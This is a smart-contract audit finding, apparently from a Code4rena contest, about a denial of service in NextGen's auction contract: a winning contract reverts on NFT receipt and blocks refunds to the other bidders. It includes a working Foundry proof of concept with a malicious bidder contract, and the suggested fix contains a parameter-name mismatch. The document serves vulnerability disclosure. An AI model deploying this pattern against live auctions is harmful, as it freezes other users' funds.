Auction winner can refuse the NFT and all other bidders won't receive their refund

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

During claimAuction we iterate through all bidders that participated in the auction:

• if the user is the highest bidder, we transfer the NFT to his address and pay the NFT owner

            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");

• if the user does not become a winner, ETH is returned to him

            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);

If the winner is a contract he can chose to revert on ERC721 fallback thereby denying other bidders a refund, leaving all tokens stuck in the auction contract.

Proof of Concept

This is one of the rare cases where not checking return values on calls is actually a good thing
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L115C1-L117C97
otherwise this attack would be much cheaper, just bid a small amount of ETH with a contract that doesn't have a receive or fallback function. However, this won't protect us from a malicious winner, of course he will also lose his tokens, but if the sum of all participants bids exceeds the winner's sum, the impact will be quite severe.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import "forge-std/console.sol";
import "forge-std/Test.sol";

contract Winner {
    function participate(auctionDemo target, uint256 id) external payable {
        target.participateToAuction{value: msg.value}(id);
    } 
    fallback() external payable {
      require(msg.sender == address(0), "I DON'T NEED REWARD");
    }
}

contract C4 is Test{
    NextGenCore core;
    NextGenMinterContract minter;
    NextGenAdmins admin;
    NextGenRandomizerNXT randomizer;
    randomPool random;
    auctionDemo auction;

    address alice = makeAddr("Alice");
    address bob = makeAddr("Bob");
    address mal = makeAddr("Mal");
    address trusted = makeAddr("Next");
    uint256 tokenId0;
    uint256 tokenId1;

    function setUp() public {
        admin = new NextGenAdmins();
        core = new NextGenCore("NXT", "NXT", address(admin));
        random = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(random), address(admin), address(core));
        minter = new NextGenMinterContract(address(core), address(0), address(admin));
        auction = new auctionDemo(address(minter), address(core), address(admin));

        core.addMinterContract(address(minter));
        core.addRandomizer(1, address(randomizer));
        core.createCollection("C4", "C4", "", "", "", "", "", new string[](0));
        core.setCollectionData(1, address(this), 100, 1000000, 100);
        minter.setCollectionCosts(1, 1 ether, 0.5 ether, 0, 86400, 3, address(0));
        minter.setCollectionPhases(1, 86400, 86400 * 30, 86400 * 30, 86400 * 60, "");
        
        vm.warp(86400);
        minter.mintAndAuction(trusted, "", 777, 1, 86400 * 10);
        tokenId0 = core.viewTokensIndexMin(1) + core.viewCirSupply(1) - 1;

        vm.prank(trusted);
        core.approve(address(auction), tokenId0);
    }

    function testBidder() public {
        vm.deal(alice, 1 ether);
        vm.deal(bob, 2 ether);
        vm.deal(mal, 2.1 ether);
        // auction started
        assert(minter.getAuctionStatus(tokenId0));
        // users bid
        vm.prank(alice);
        auction.participateToAuction{value: 1 ether}(tokenId0);
        vm.prank(bob);
        auction.participateToAuction{value: 2 ether}(tokenId0);
        // deploy contract and participate
        Winner winner = new Winner();
        vm.prank(mal);
        winner.participate{value: 2.1 ether}(auction, tokenId0);
        // fast forward to auction end time
        vm.warp(86400 * 10);
        vm.expectRevert("I DON'T NEED REWARD");
        auction.claimAuction(tokenId0);
    }
}

Tools Used

Forge, forge-std lib

Recommended Mitigation Steps

Allow bidders who didn't win the auction to refund their tokens separately

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
        (bool success, ) = payable(owner()).call{value: highestBid}("");
        emit ClaimAuction(owner(), _tokenid, success, highestBid);
    }

    function claimRefund(uint256 _tokenId, uint256 index) public {
        require(auctionClaim[_tokenid] == true, "Auction not ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit Refunded(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)